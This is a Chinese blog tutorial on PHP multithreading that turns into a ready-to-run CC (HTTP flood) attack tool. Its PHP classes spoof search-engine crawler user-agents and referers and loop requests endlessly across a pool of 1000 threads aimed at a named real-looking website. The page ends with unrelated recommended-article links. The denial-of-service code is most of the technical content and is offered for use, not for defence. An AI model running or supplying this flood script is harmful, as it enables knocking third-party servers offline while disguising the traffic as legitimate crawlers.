PHP进阶教程-PHP还能玩多线程?看我怎么用多线程实现CC攻击器。
zhezhongyun 2025-01-05 21:15 20 浏览
线程
线程与进程有很多类似的地方,但是也有部分不一样。在讲进程的时候我们给大家看过一张图。
从图中可以看出来线程是在进程内创建的,也就说多个线程共享一个进程内的资源;包括内存、地址空间、文件描述符等等。使用多线程是无序执行的,线程的调度和进程一样,由操作系统来调度,因此什么时候执行我们并不知道。有一句话可以概括:线程就是更轻量的进程。
线程
- 一个进程至少有一个线程
- 同一个进程内的多个线程共享同一份资源
- 文件描述符表
- 信号处理方式
- 当前工作目录
- 内存地址空间
每个线程有自己的独立栈,也就是线程内部的变量其他线程拿不到,除非是在进程内的全局变量。
既然有了多进程为什么我们还需要多线程?进程在遇到IO会阻塞,后面的代码无法执行,这时候CPU处于空跑状态,为了充分的利用CPU,操作系统会自动把遇到IO阻塞的进程挂起,切换到其他进程。
进程上下文
线程上下文
操作系统会给每一个进程分配给可用的时间片,就是每个进程每次运行多久,例如:CPU给每个进程分配了10ms的时间,如果一个进程执行到3ms的时候发生了IO阻塞怎么办呢?在单线程的情况下,会被切换到另一个进程,当前进程会被挂起。而多线程呢,是尽可能的利用完CPU给这个进程分配的时间片。
举个“栗子”,微信我们大家都在用,微信很显然就是一个多线程程序,为什么这样说呢?我们在跟别人视频的时候同时还可以跟其他人聊天,还可以使用输入法输入文字,选择表情,如果只有一个线程,那么我们在跟别人视频的时候这个线程就会阻塞,我们看到微信的界面就会卡死。
一个线程遇到阻塞的时候,会在同一个进程内的其他空闲线程切换,这样的切换只要消耗线程栈开销,因此很多时候我们都说线程是轻量级的进程。
因此需要把一个进程里面的任务再次分割成任务片,类似CPU分出来的时间片一样,分成多少份就开多少个线程。
我们可以通过多线程来实现一个CC攻击器。
实战:CC攻击器
CC攻击就是一种制造大量访问导致对方服务器资源耗尽无法提供服务的一种手段,这里用简单的方式实现,采用多线程+线程池+curl实现一个简单的cc攻击。
扩展下载地址:
https://github.com/krakjoe/pthreads.git
cc.php
<?php
class CC extends Thread{
// 要攻击的url
private $url;
// 要攻击的域名
private $host;
// user-agent
private $userAgent = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 MicroMessenger/5.2.380',
'Mozilla/5.0 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (Linux;u;Android 4.2.2;zh-cn;) AppleWebKit/534.46 (KHTML,likeGecko) Version/5.1 Mobile Safari/10600.6.3 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible;Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 likeMac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143Safari/601.1 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0); 360Spider'
];
// 模拟请求来源
private $referers = array(
'https://www.baidu.com?k=',
'https://www.sogou.com?keyword=',
'https://www.so.com?keyword=',
'https://www.google.com?k=',
'https://m.baidu.com?keyword=',
'https://m.sogou.com?keyword=',
'https://m.so.com?key='
);
public function __construct($url)
{
$this->url = $url;
$this->parserUrl();
}
/**
* 解析host
*/
private function parserUrl()
{
$parser = parse_url($this->url);
$this->host = $parser['host'];
}
/**
* 获取头信息
* @return void
*/
private function getHeader(){
$referer = $this->referers[mt_rand(0,count($this->referers))];
$userAgent = $this->userAgent[mt_rand(0,count($this->userAgent))];
return [
'Host'=>$this->host,
'Referer'=>$referer,
'User-Agent'=>$userAgent,
'Accept'=>'text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8',
'Accept-Language'=>' en-US,en;q=0.5',
'Accept-Charset'=>'iso-8859-1',
'Accept-Encoding'=>'gzip',
'Connection'=>'Keep-Alive'
];
}
/**
* 实现访问
*/
public function request()
{
$header = $this->getHeader();
$curl = curl_init();
// CURL头信息设置
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
curl_setopt($curl, CURLOPT_URL, $this->url);
curl_setopt($curl, CURLOPT_TIMEOUT, 30);
curl_setopt($curl, CURLOPT_HEADER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$res = curl_exec($curl);
var_dump($res);
curl_close($curl);
}
public function run()
{
while(true){
$this->request();
sleep(0.3);
}
}
}
threadPool.php
<?php
class ThreadPool{
public $pool = array();
private $url;
public function __construct($url,$count) {
$this->url = $url;
$this->count = $count;
}
public function push(){
if(count($this->pool) < $this->count){
$this->pool[] = new CC($this->url);
return true;
}else{
return false;
}
}
public function start(){
foreach ( $this->pool as $id => $worker){
$this->pool[$id]->start();
}
}
public function join(){
foreach ( $this->pool as $id => $worker){
$this->pool[$id]->join();
}
}
}
run.php
<?php
require 'cc.php';
require 'threadPool.php';
$count = 1000;
$pool = new ThreadPool('http://www.vxwei.com/index.php',$count);
for($i=0;$i<$count;$i++){
$pool->push();
}
$pool->start();
$pool->join();
如果喜欢我的文章请转发朋友圈点关注,一心只做原创文章。
相关推荐
- 「layui」表单验证:验证注册
-
注册界面手动验证获取短信验证码代码原文<!DOCTYPEhtml><htmllang="zh"><head>&...
- Full text: Joint statement between China and Kenya on creating an inspiring example in the all-weather China-Africa community with a shared future for the new era
-
JointStatementBetweenthePeople'sRepublicofChinaandtheRepublicofKenyaonCreatinganInspi...
- 国际组织最新岗位信息送给你
-
国际刑警组织PostingTitleITLogisticsManagerGrade5DutyStationAbidjan,IvoryCoastDeadlineforApplicatio...
- 【新功能】Spire.PDF 8.12.5 支持设置表单域的可见与隐藏属性
-
Spire.PDF8.12.5已发布。该版本新增支持设置表单域的可见与隐藏属性、添加自定义的元数据以及给PDF文档的元数据添加新的命名空间。本次更新还增强了PDF到DOCX和图片的转换...
- AI curbs show Biden's rejection of cooperation
-
AIcurbsshowBiden'srejectionofcooperation:ChinaDailyeditorial-Opinion-Chinadaily.com.cnT...
- “煤气灯效应”上热搜,这几种有毒的“情感关系”也要注意了……
-
近日,“煤气灯效应”(theGaslightEffect)再次进入公众视野并登上热搜,引发网友广泛关注。那么,什么是“煤气灯效应”?以“爱”之名进行情绪控制在心理学中,通过“扭曲受害者眼中的真实”...
- Qt编写推流程序/支持webrtc265/从此不用再转码/打开新世界的大门
-
一、前言在推流领域,尤其是监控行业,现在主流设备基本上都是265格式的视频流,想要在网页上直接显示监控流,之前的方案是,要么转成hls,要么魔改支持265格式的flv,要么265转成264,如果要追求...
- 写给运维的Nginx秘籍
-
要说Web服务器、代理服务器和调度服务器层面,目前使用最大的要数Nginx。对于一个运维工程师日常不可避免要和Nginx打交道。为了更好地使用和管理Nginx,本文就给大家介绍几个虫虫日常常用的秘籍。...
- 突破亚马逊壁垒,Web Unlocker API 助您轻松获取数据
-
在数据驱动决策的时代,电商平台的海量数据是十足金贵的。然而,像亚马逊这样的巨头为保护自身数据资产,构建了近乎完美的反爬虫防线,比如IP封锁、CAPTCHA验证、浏览器指纹识别,常规爬虫工具在这些防线面...
- 每日一库之 logrus 日志使用教程
-
golang日志库golang标准库的日志框架非常简单,仅仅提供了print,panic和fatal三个函数对于更精细的日志级别、日志文件分割以及日志分发等方面并没有提供支持.所以催生了很多第三方...
- 对比测评:为什么AI编程工具需要 Rules 能力?
-
通义灵码ProjectRules在开始体验通义灵码ProjectRules之前,我们先来简单了解一下什么是通义灵码ProjectRules?大家都知道,在使用AI代码助手的时候,有时...
- python 面向对象编程
-
Python的面向对象编程(OOP)将数据和操作封装在对象中,以下是深度解析和现代最佳实践:一、核心概念重构1.类与实例的底层机制classRobot:__slots__=['...
- Windows系统下常用的Dos命令介绍(一)
-
DOS是英文DiskOperatingSystem的缩写,意思是“磁盘操作系统”。DOS主要是一种面向磁盘的系统软件,说得简单些,DOS就是人给机器下达命令的集合,是存储在操作系统中的命令集。主要...
- 使用 Flask-Admin 快速开发博客后台管理系统:关键要点解析
-
一、为什么选择Flask-Admin?Flask-Admin是Flask生态中高效的后台管理框架,核心优势在于:-零代码生成CRUD界面:基于数据库模型自动生成增删改查功能-高度可定制...
- Redis淘汰策略导致数据丢失?
-
想象一下,你的Redis服务器是一个合租宿舍,内存就是床位。当新数据(新室友)要住进来,但床位已满时,你作为宿管(淘汰策略)必须决定:让谁卷铺盖走人?Redis提供了8种"劝退"方案,...
- 一周热门
- 最近发表
-
- 「layui」表单验证:验证注册
- Full text: Joint statement between China and Kenya on creating an inspiring example in the all-weather China-Africa community with a shared future for the new era
- 国际组织最新岗位信息送给你
- 【新功能】Spire.PDF 8.12.5 支持设置表单域的可见与隐藏属性
- AI curbs show Biden's rejection of cooperation
- “煤气灯效应”上热搜,这几种有毒的“情感关系”也要注意了……
- Qt编写推流程序/支持webrtc265/从此不用再转码/打开新世界的大门
- 写给运维的Nginx秘籍
- 突破亚马逊壁垒,Web Unlocker API 助您轻松获取数据
- 每日一库之 logrus 日志使用教程
- 标签列表
-
- HTML 教程 (33)
- HTML 简介 (35)
- HTML 实例/测验 (32)
- HTML 测验 (32)
- HTML 参考手册 (28)
- JavaScript 和 HTML DOM 参考手册 (32)
- HTML 拓展阅读 (30)
- HTML常用标签 (29)
- HTML文本框样式 (31)
- HTML滚动条样式 (34)
- HTML5 浏览器支持 (33)
- HTML5 新元素 (33)
- HTML5 WebSocket (30)
- HTML5 代码规范 (32)
- HTML5 标签 (717)
- HTML5 标签 (已废弃) (75)
- HTML5电子书 (32)
- HTML5开发工具 (34)
- HTML5小游戏源码 (34)
- HTML5模板下载 (30)
- HTTP 状态消息 (33)
- HTTP 方法:GET 对比 POST (33)
- 键盘快捷键 (35)
- 标签 (226)
- HTML button formtarget 属性 (30)